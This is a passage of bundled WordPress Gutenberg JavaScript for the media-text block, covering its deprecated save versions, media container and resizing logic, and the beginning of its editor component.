      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      if ("right" === mediaPosition3) {
        return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            "div",
            {
              ...import_block_editor133.useInnerBlocksProps.save({
                className: "wp-block-media-text__content"
              })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            "figure",
            {
              className: "wp-block-media-text__media",
              style: backgroundStyles,
              children: (mediaTypeRenders[mediaType] || noop)()
            }
          )
        ] });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "figure",
          {
            className: "wp-block-media-text__media",
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "div",
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: "wp-block-media-text__content"
            })
          }
        )
      ] });
    }
  };
  var v65 = {
    attributes: v6Attributes,
    supports: v6Supports,
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
        [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
      });
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        "img",
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () => image,
        video: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("video", { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        "has-media-on-the-right": "right" === mediaPosition3,
        "is-stacked-on-mobile": isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        "is-image-fill": imageFill
      });
      const backgroundStyles = imageFill ? v6ToV7ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      if ("right" === mediaPosition3) {
        return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            "div",
            {
              ...import_block_editor133.useInnerBlocksProps.save({
                className: "wp-block-media-text__content"
              })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            "figure",
            {
              className: "wp-block-media-text__media",
              style: backgroundStyles,
              children: (mediaTypeRenders[mediaType] || noop)()
            }
          )
        ] });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "figure",
          {
            className: "wp-block-media-text__media",
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "div",
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: "wp-block-media-text__content"
            })
          }
        )
      ] });
    },
    migrate: migrateDefaultAlign,
    isEligible(attributes2, innerBlocks, { block }) {
      const { attributes: finalizedAttributes } = block;
      return attributes2.align === void 0 && !!finalizedAttributes.className?.includes("alignwide");
    }
  };
  var v55 = {
    attributes: v4ToV5BlockAttributes,
    supports: v4ToV5Supports,
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
        [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
      });
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        "img",
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () => image,
        video: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("video", { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        "has-media-on-the-right": "right" === mediaPosition3,
        "is-stacked-on-mobile": isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        "is-image-fill": imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      if ("right" === mediaPosition3) {
        return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            "div",
            {
              ...import_block_editor133.useInnerBlocksProps.save({
                className: "wp-block-media-text__content"
              })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
            "figure",
            {
              className: "wp-block-media-text__media",
              style: backgroundStyles,
              children: (mediaTypeRenders[mediaType] || noop)()
            }
          )
        ] });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "figure",
          {
            className: "wp-block-media-text__media",
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "div",
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: "wp-block-media-text__content"
            })
          }
        )
      ] });
    },
    migrate: migrateDefaultAlign
  };
  var v45 = {
    attributes: v4ToV5BlockAttributes,
    supports: v4ToV5Supports,
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
        [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
      });
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        "img",
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () => image,
        video: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("video", { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        "has-media-on-the-right": "right" === mediaPosition3,
        "is-stacked-on-mobile": isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        "is-image-fill": imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { ...import_block_editor133.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "figure",
          {
            className: "wp-block-media-text__media",
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "div",
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: "wp-block-media-text__content"
            })
          }
        )
      ] });
    },
    migrate: migrateDefaultAlign
  };
  var v37 = {
    attributes: {
      ...v0Attributes,
      isStackedOnMobile: {
        type: "boolean",
        default: true
      },
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      mediaLink: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "target"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "href"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "class"
      },
      verticalAlignment: {
        type: "string"
      },
      imageFill: {
        type: "boolean"
      },
      focalPoint: {
        type: "object"
      }
    },
    migrate: (0, import_compose30.compose)(migrateCustomColors3, migrateDefaultAlign),
    save({ attributes: attributes2 }) {
      const {
        backgroundColor,
        customBackgroundColor,
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        "img",
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: mediaId && mediaType === "image" ? `wp-image-${mediaId}` : null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () => image,
        video: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("video", { controls: true, src: mediaUrl })
      };
      const backgroundClass = (0, import_block_editor133.getColorClassName)(
        "background-color",
        backgroundColor
      );
      const className = clsx_default({
        "has-media-on-the-right": "right" === mediaPosition3,
        "has-background": backgroundClass || customBackgroundColor,
        [backgroundClass]: backgroundClass,
        "is-stacked-on-mobile": isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        "is-image-fill": imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { className, style: style2, children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "figure",
          {
            className: "wp-block-media-text__media",
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("div", { className: "wp-block-media-text__content", children: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(import_block_editor133.InnerBlocks.Content, {}) })
      ] });
    }
  };
  var v212 = {
    attributes: {
      ...v0Attributes,
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      mediaUrl: {
        type: "string",
        source: "attribute",
        selector: "figure video,figure img",
        attribute: "src"
      },
      verticalAlignment: {
        type: "string"
      },
      imageFill: {
        type: "boolean"
      },
      focalPoint: {
        type: "object"
      }
    },
    migrate: (0, import_compose30.compose)(migrateCustomColors3, migrateDefaultAlign),
    save({ attributes: attributes2 }) {
      const {
        backgroundColor,
        customBackgroundColor,
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint
      } = attributes2;
      const mediaTypeRenders = {
        image: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "img",
          {
            src: mediaUrl,
            alt: mediaAlt,
            className: mediaId && mediaType === "image" ? `wp-image-${mediaId}` : null
          }
        ),
        video: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("video", { controls: true, src: mediaUrl })
      };
      const backgroundClass = (0, import_block_editor133.getColorClassName)(
        "background-color",
        backgroundColor
      );
      const className = clsx_default({
        "has-media-on-the-right": "right" === mediaPosition3,
        [backgroundClass]: backgroundClass,
        "is-stacked-on-mobile": isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        "is-image-fill": imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { className, style: style2, children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "figure",
          {
            className: "wp-block-media-text__media",
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("div", { className: "wp-block-media-text__content", children: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(import_block_editor133.InnerBlocks.Content, {}) })
      ] });
    }
  };
  var v124 = {
    attributes: {
      ...v0Attributes,
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      mediaUrl: {
        type: "string",
        source: "attribute",
        selector: "figure video,figure img",
        attribute: "src"
      }
    },
    migrate: migrateDefaultAlign,
    save({ attributes: attributes2 }) {
      const {
        backgroundColor,
        customBackgroundColor,
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth
      } = attributes2;
      const mediaTypeRenders = {
        image: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("img", { src: mediaUrl, alt: mediaAlt }),
        video: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("video", { controls: true, src: mediaUrl })
      };
      const backgroundClass = (0, import_block_editor133.getColorClassName)(
        "background-color",
        backgroundColor
      );
      const className = clsx_default({
        "has-media-on-the-right": "right" === mediaPosition3,
        [backgroundClass]: backgroundClass,
        "is-stacked-on-mobile": isStackedOnMobile
      });
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)("div", { className, style: style2, children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("figure", { className: "wp-block-media-text__media", children: (mediaTypeRenders[mediaType] || noop)() }),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("div", { className: "wp-block-media-text__content", children: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(import_block_editor133.InnerBlocks.Content, {}) })
      ] });
    }
  };
  var deprecated_default27 = [v74, v65, v55, v45, v37, v212, v124];

  // packages/block-library/build-module/media-text/edit.mjs
  var import_i18n107 = __toESM(require_i18n(), 1);
  var import_data59 = __toESM(require_data(), 1);
  var import_element55 = __toESM(require_element(), 1);
  var import_block_editor135 = __toESM(require_block_editor(), 1);
  var import_components66 = __toESM(require_components(), 1);
  var import_blob15 = __toESM(require_blob(), 1);
  var import_core_data25 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/media-text/media-container.mjs
  var import_components65 = __toESM(require_components(), 1);
  var import_block_editor134 = __toESM(require_block_editor(), 1);
  var import_i18n106 = __toESM(require_i18n(), 1);
  var import_compose31 = __toESM(require_compose(), 1);
  var import_data58 = __toESM(require_data(), 1);
  var import_element54 = __toESM(require_element(), 1);
  var import_blob14 = __toESM(require_blob(), 1);
  var import_notices10 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/media-text/image-fill.mjs
  function imageFillStyles(url, focalPoint) {
    return url ? {
      objectPosition: focalPoint ? `${Math.round(focalPoint.x * 100)}% ${Math.round(
        focalPoint.y * 100
      )}%` : `50% 50%`
    } : {};
  }

  // packages/block-library/build-module/media-text/media-container.mjs
  var import_jsx_runtime296 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES5 = ["image", "video"];
  var noop2 = () => {
  };
  var ResizableBoxContainer = (0, import_element54.forwardRef)(
    ({ isSelected, isStackedOnMobile, ...props }, ref) => {
      const isMobile = (0, import_compose31.useViewportMatch)("small", "<");
      return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
        import_components65.ResizableBox,
        {
          ref,
          showHandle: isSelected && (!isMobile || !isStackedOnMobile),
          ...props
        }
      );
    }
  );
  function ToolbarEditButton({
    mediaId,
    mediaUrl,
    onSelectMedia,
    toggleUseFeaturedImage,
    useFeaturedImage
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(import_block_editor134.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
      import_block_editor134.MediaReplaceFlow,
      {
        mediaId,
        mediaURL: mediaUrl,
        allowedTypes: ALLOWED_MEDIA_TYPES5,
        onSelect: onSelectMedia,
        onToggleFeaturedImage: toggleUseFeaturedImage,
        useFeaturedImage,
        onReset: () => onSelectMedia(void 0)
      }
    ) });
  }
  function PlaceholderContainer({
    className,
    mediaUrl,
    onSelectMedia,
    toggleUseFeaturedImage
  }) {
    const { createErrorNotice } = (0, import_data58.useDispatch)(import_notices10.store);
    const onUploadError = (message) => {
      createErrorNotice(message, { type: "snackbar" });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
      import_block_editor134.MediaPlaceholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(import_block_editor134.BlockIcon, { icon: media_default }),
        labels: {
          title: (0, import_i18n106.__)("Media area")
        },
        className,
        onSelect: onSelectMedia,
        onToggleFeaturedImage: toggleUseFeaturedImage,
        allowedTypes: ALLOWED_MEDIA_TYPES5,
        onError: onUploadError,
        disableMediaButtons: mediaUrl
      }
    );
  }
  function MediaContainer(props, ref) {
    const {
      className,
      commitWidthChange,
      focalPoint,
      imageFill,
      isSelected,
      isStackedOnMobile,
      mediaAlt,
      mediaId,
      mediaPosition: mediaPosition3,
      mediaType,
      mediaUrl,
      mediaWidth,
      onSelectMedia,
      onWidthChange,
      enableResize,
      toggleUseFeaturedImage,
      useFeaturedImage,
      featuredImageURL,
      featuredImageAlt,
      refMedia
    } = props;
    const isTemporaryMedia2 = !mediaId && (0, import_blob14.isBlobURL)(mediaUrl);
    const { toggleSelection } = (0, import_data58.useDispatch)(import_block_editor134.store);
    if (mediaUrl || featuredImageURL || useFeaturedImage) {
      const onResizeStart = () => {
        toggleSelection(false);
      };
      const onResize = (event, direction, elt) => {
        onWidthChange(parseInt(elt.style.width));
      };
      const onResizeStop = (event, direction, elt) => {
        toggleSelection(true);
        commitWidthChange(parseInt(elt.style.width));
      };
      const enablePositions = {
        right: enableResize && mediaPosition3 === "left",
        left: enableResize && mediaPosition3 === "right"
      };
      const positionStyles = mediaType === "image" && imageFill ? imageFillStyles(mediaUrl || featuredImageURL, focalPoint) : {};
      const mediaTypeRenderers = {
        image: () => useFeaturedImage && featuredImageURL ? /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
          "img",
          {
            ref: refMedia,
            src: featuredImageURL,
            alt: featuredImageAlt,
            style: positionStyles
          }
        ) : mediaUrl && /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
          "img",
          {
            ref: refMedia,
            src: mediaUrl,
            alt: mediaAlt,
            style: positionStyles
          }
        ),
        video: () => /* @__PURE__ */ (0, import_jsx_runtime296.jsx)("video", { controls: true, ref: refMedia, src: mediaUrl })
      };
      return /* @__PURE__ */ (0, import_jsx_runtime296.jsxs)(
        ResizableBoxContainer,
        {
          as: "figure",
          className: clsx_default(
            className,
            "editor-media-container__resizer",
            { "is-transient": isTemporaryMedia2 }
          ),
          size: { width: mediaWidth + "%" },
          minWidth: "10%",
          maxWidth: "100%",
          enable: enablePositions,
          onResizeStart,
          onResize,
          onResizeStop,
          axis: "x",
          isSelected,
          isStackedOnMobile,
          ref,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
              ToolbarEditButton,
              {
                onSelectMedia,
                mediaUrl: useFeaturedImage && featuredImageURL ? featuredImageURL : mediaUrl,
                mediaId,
                toggleUseFeaturedImage,
                useFeaturedImage
              }
            ),
            (mediaTypeRenderers[mediaType] || noop2)(),
            isTemporaryMedia2 && /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(import_components65.Spinner, {}),
            !useFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(PlaceholderContainer, { ...props }),
            !featuredImageURL && useFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
              import_components65.Placeholder,
              {
                className: "wp-block-media-text--placeholder-image",
                style: positionStyles,
                withIllustration: true
              }
            )
          ]
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(PlaceholderContainer, { ...props });
  }
  var media_container_default = (0, import_element54.forwardRef)(MediaContainer);

  // packages/block-library/build-module/media-text/edit.mjs
  var import_jsx_runtime297 = __toESM(require_jsx_runtime(), 1);
  var { ResolutionTool: ResolutionTool3 } = unlock(import_block_editor135.privateApis);
  var applyWidthConstraints = (width) => Math.max(
    WIDTH_CONSTRAINT_PERCENTAGE,
    Math.min(width, 100 - WIDTH_CONSTRAINT_PERCENTAGE)
  );
  function getImageSourceUrlBySizeSlug(image, slug) {
    return image?.media_details?.sizes?.[slug]?.source_url;
  }
  function attributesFromMedia2({
    attributes: { linkDestination, href },
    setAttributes
  }) {
    return (media) => {
      if (!media || !media.url) {
        setAttributes({
          mediaAlt: void 0,
          mediaId: void 0,
          mediaType: void 0,
          mediaUrl: void 0,
          mediaLink: void 0,
          href: void 0,
          focalPoint: void 0,
          useFeaturedImage: false
        });
        return;
      }
      if ((0, import_blob15.isBlobURL)(media.url)) {
        media.type = (0, import_blob15.getBlobTypeByURL)(media.url);
      }
      let mediaType;
      let src;
      if (media.media_type) {
        if (media.media_type === "image") {
          mediaType = "image";
        } else {
          mediaType = "video";
        }
      } else {
        mediaType = media.type;
      }
      if (mediaType === "image") {
        src = media.sizes?.large?.url || media.media_details?.sizes?.large?.source_url;
      }
      let newLinkDestination = linkDestination;
      let newHref = href;
      if (mediaType === "image") {
        if (!newLinkDestination) {
          switch (window?.wp?.media?.view?.settings?.defaultProps?.link || LINK_DESTINATION_NONE3) {
            case "file":
            case LINK_DESTINATION_MEDIA3:
              newLinkDestination = LINK_DESTINATION_MEDIA3;
              break;
            case "post":
            case LINK_DESTINATION_ATTACHMENT3:
              newLinkDestination = LINK_DESTINATION_ATTACHMENT3;
              break;
            case LINK_DESTINATION_NONE3:
            default:
              newLinkDestination = LINK_DESTINATION_NONE3;
              break;
          }
        }
        switch (newLinkDestination) {
          case LINK_DESTINATION_MEDIA3:
            newHref = media.url;
            break;
          case LINK_DESTINATION_ATTACHMENT3:
            newHref = media.link;
            break;
        }
      }
      setAttributes({
        mediaAlt: media.alt,
        mediaId: media.id,
        mediaType,
        mediaUrl: src || media.url,
        mediaLink: media.link || void 0,
        href: newHref,
        linkDestination: newLinkDestination,
        focalPoint: void 0,
        useFeaturedImage: false
      });
    };
  }
  function MediaTextResolutionTool({ image, value, onChange }) {
    const { imageSizes } = (0, import_data59.useSelect)((select9) => {
      const { getSettings: getSettings2 } = select9(import_block_editor135.store);
      return {
        imageSizes: getSettings2().imageSizes
      };
    }, []);
    if (!imageSizes?.length) {
      return null;
    }
    const imageSizeOptions = imageSizes.filter(({ slug }) => getImageSourceUrlBySizeSlug(image, slug)).map(({ name: name123, slug }) => ({ value: slug, label: name123 }));
    return /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
      ResolutionTool3,
      {
        value,
        defaultValue: DEFAULT_MEDIA_SIZE_SLUG4,
        options: imageSizeOptions,
        onChange
      }
    );
  }
  function MediaTextEdit({
    attributes: attributes2,
    isSelected,
    setAttributes,
    context: { postId, postType }
  }) {
    const {
      focalPoint,
      href,
      imageFill,
      isStackedOnMobile,
      linkClass,
      linkDestination,
      linkTarget,
      mediaAlt,
      mediaId,
      mediaPosition: mediaPosition3,
      mediaType,
      mediaUrl,
      mediaWidth,
      mediaSizeSlug,
      rel,
      verticalAlignment,
      allowedBlocks,
      useFeaturedImage
    } = attributes2;
    const [featuredImage] = (0, import_core_data25.useEntityProp)(
      "postType",
      postType,
      "featured_media",
      postId
    );
    const { featuredImageMedia } = (0, import_data59.useSelect)(
      (select9) => {
        return {
          featuredImageMedia: featuredImage && useFeaturedImage ? select9(import_core_data25.store).getEntityRecord(
            "postType",
            "attachment",
            featuredImage,
            {
              context: "view"
            }
          ) : void 0
        };
      },
      [featuredImage, useFeaturedImage]
    );
    const { image } = (0, import_data59.useSelect)(
      (select9) => {
        return {
          image: mediaId && isSelected ? select9(import_core_data25.store).getEntityRecord(
            "postType",
            "attachment",
            mediaId,
            {
              context: "view"
            }
          ) : null
        };
      },
      [isSelected, mediaId]
    );
    const featuredImageURL = useFeaturedImage ? featuredImageMedia?.source_url : "";
    const featuredImageAlt = useFeaturedImage ? featuredImageMedia?.alt_text : "";
    const toggleUseFeaturedImage = () => {
      setAttributes({
        imageFill: false,
        mediaType: "image",
        mediaId: void 0,
        mediaUrl: void 0,
        mediaAlt: void 0,
        mediaLink: void 0,
        linkDestination: void 0,
        linkTarget: void 0,
        linkClass: void 0,
        rel: void 0,
        href: void 0,
        useFeaturedImage: !useFeaturedImage
      });
    };
    const refMedia = (0, import_element55.useRef)();
    const imperativeFocalPointPreview = (value) => {
      const { style: style22 } = refMedia.current;
      const { x: x2, y: y2 } = value;
      style22.objectPosition = `${x2 * 100}% ${y2 * 100}%`;
    };
    const [temporaryMediaWidth, setTemporaryMediaWidth] = (0, import_element55.useState)(null);
    const onSelectMedia = attributesFromMedia2({ attributes: attributes2, setAttributes });
    const onSetHref = (props) => {
      setAttributes(props);
    };
    const onWidthChange = (width) => {
      setTemporaryMediaWidth(applyWidthConstraints(width));
    };
    const commitWidthChange = (width) => {
      setAttributes({
        mediaWidth: applyWidthConstraints(width)
      });
      setTemporaryMediaWidth(null);
    };
    const classNames = clsx_default({
      "has-media-on-the-right": "right" === mediaPosition3,
      "is-selected": isSelected,
      "is-stacked-on-mobile": isStackedOnMobile,
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      "is-image-fill-element": imageFill
    });
    const widthString = `${temporaryMediaWidth || mediaWidth}%`;
    const gridTemplateColumns = "right" === mediaPosition3 ? `1fr ${widthString}` : `${widthString} 1fr`;
    const style2 = {
      gridTemplateColumns,
      msGridColumns: gridTemplateColumns
    };
    const onMediaAltChange = (newMediaAlt) => {
      setAttributes({ mediaAlt: newMediaAlt });
    };
    const onVerticalAlignmentChange = (alignment) => {
      setAttributes({ verticalAlignment: alignment });
    };
    const updateImage = (newMediaSizeSlug) => {
      const newUrl = getImageSourceUrlBySizeSlug(image, newMediaSizeSlug);
      if (!newUrl) {
        return null;
      }
      setAttributes({
        mediaUrl: newUrl,
        mediaSizeSlug: newMediaSizeSlug
      });
    };
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const mediaTextGeneralSettings = /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(
      import_components66.__experimentalToolsPanel,
      {
        label: (0, import_i18n107.__)("Settings"),
        resetAll: () => {
          setAttributes({
            isStackedOnMobile: true,
            imageFill: false,
            mediaAlt: "",
            focalPoint: void 0,
            mediaWidth: 50
          });
          updateImage(DEFAULT_MEDIA_SIZE_SLUG4);
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
